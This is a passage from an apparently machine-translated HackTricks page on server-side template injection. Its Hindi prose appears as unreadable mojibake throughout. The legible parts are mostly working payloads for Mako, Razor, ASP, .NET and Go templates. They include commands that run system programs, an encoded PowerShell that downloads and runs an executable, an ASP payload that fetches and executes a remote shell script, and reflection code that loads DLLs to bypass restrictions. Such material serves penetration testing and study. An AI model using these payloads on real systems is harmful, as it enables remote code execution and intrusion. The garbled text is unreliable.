рдЕрдиреНрдп рдкреЗрд▓реЛрдб https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 рдореЗрдВ
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
рдЕрдиреНрдп рдкрд╛рдпрдерди
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success
@() <= Success
@("{{code}}") <= Success
@ <=Success
@{} <= ERROR!
@{ <= ERRROR!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NET System.Diagnostics.Process.Start
рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рд░реНрд╡рд░ рдкрд░ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдПрдХ рд╡реЗрдмрд╢реЗрд▓ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЖрдк https://github.com/cnotin/RazorVulnerableApp рдореЗрдВ рдПрдХ рдХрдордЬреЛрд░ рд╡реЗрдм рдРрдк рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= рдХреБрдЫ рдирд╣реАрдВ<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
.Net рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛
.NET Reflection рддрдВрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдпрд╛ рдЕрд╕реЗрдВрдмрд▓реА рдореЗрдВ рд╡рд░реНрдЧреЛрдВ рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред DLL рдХреЛ рд░рдирдЯрд╛рдЗрдо рдкрд░ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдореВрд▓рднреВрдд рд╡рд╕реНрддреБрдУрдВ рд╕реЗ рд╡рд┐рдзрд┐рдпрд╛рдБ рдФрд░ рдЧреБрдг рд╕реБрд▓рдн рд╣реЛрддреЗ рд╣реИрдВред
Dll рдХреЛ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}
- рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реЗред{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}
- рд╕реАрдзреЗ рдЕрдиреБрд░реЛрдз рд╕реЗред
рдкреВрд░реНрдг рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
Mojolicious (Perl)
рдпрд╣ рднрд▓реЗ рд╣реА perl рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ Ruby рдореЗрдВ ERB рдХреА рддрд░рд╣ рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Go рдХреЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдореЗрдВ, рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдкреБрд╖реНрдЯрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ:
{{ . }}
: рдбреЗрдЯрд╛ рд╕рдВрд░рдЪрдирд╛ рдЗрдирдкреБрдЯ рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдЬрд┐рд╕рдореЗрдВPassword
рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ, рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ{{ .Password }}
рдЗрд╕реЗ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред{{printf "%s" "ssti" }}
: "ssti" рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХреА рдЬрд╛рддреА рд╣реИред{{html "ssti"}}
,{{js "ssti"}}
: рдпреЗ рдкреЗрд▓реЛрдб "ssti" рдХреЛ "html" рдпрд╛ "js" рдЬреЛрдбрд╝реЗ рдмрд┐рдирд╛ рд▓реМрдЯрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЖрдЧреЗ рдХреЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ Go рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдпрд╣рд╛рдВ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
text/template
рдкреИрдХреЗрдЬ рдХреЗ рд╕рд╛рде, XSS рдХреЛ рд╕реАрдзреЗ рдкреЗрд▓реЛрдб рдбрд╛рд▓рдХрд░ рд╕рд░рд▓рддрд╛ рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, html/template
рдкреИрдХреЗрдЬ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗ (рдЬреИрд╕реЗ, {{"<script>alert(1)</script>"}}
рдХрд╛ рдкрд░рд┐рдгрд╛рдо <script>alert(1)</script>
рд╣реЛрддрд╛ рд╣реИ)ред рдлрд┐рд░ рднреА, Go рдореЗрдВ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкрд░рд┐рднрд╛рд╖рд╛ рдФрд░ рдЖрд╣реНрд╡рд╛рди рдЗрд╕ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
RCE рд╢реЛрд╖рдг html/template
рдФрд░ text/template
рдХреЗ рдмреАрдЪ рдХрд╛рдлреА рднрд┐рдиреНрди рд╣реЛрддрд╛ рд╣реИред text/template
рдореЙрдбреНрдпреВрд▓ рдХрд┐рд╕реА рднреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ ( "call" рдорд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ), рдЬреЛ html/template
рдореЗрдВ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИред рдЗрди рдореЙрдбреНрдпреВрд▓ рдХреЗ рд▓рд┐рдП рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдпрд╣рд╛рдВ html/template рдХреЗ рд▓рд┐рдП рдФрд░ рдпрд╣рд╛рдВ text/template рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реИред
Go рдореЗрдВ SSTI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдХреЗ рд▓рд┐рдП, рдСрдмреНрдЬреЗрдХреНрдЯ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдПрдХ System
рд╡рд┐рдзрд┐ рд╣реИ рдЬреЛ рдХрдорд╛рдВрдб рдЪрд▓рд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ {{ .System "ls" }}
ред рдЗрд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ рд╕реНрд░реЛрдд рдХреЛрдб рддрдХ рдкрд╣реБрдВрдЪ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддреА рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
рдЕрдзрд┐рдХ рд╢реЛрд╖рдг
рдЕрдзрд┐рдХ рд╢реЛрд╖рдгреЛрдВ рдХреЗ рд▓рд┐рдП https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред рдЖрдк https://github.com/DiogoMRSilva/websitesVulnerableToSSTI рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдЯреИрдЧ рдЬрд╛рдирдХрд╛рд░реА рднреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
BlackHat PDF
рд╕рдВрдмрдВрдзрд┐рдд рд╕рд╣рд╛рдпрддрд╛
рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдкрдврд╝реЗрдВ:
рдЙрдкрдХрд░рдг
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди рд╕реВрдЪреА
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
рдЕрднреНрдпрд╛рд╕ рдФрд░ рд╕рдВрджрд░реНрдн
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
tip
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ рд╣рдорд╛рд░реЗ Twitter ЁЯРж @hacktricks_live** рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред**
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред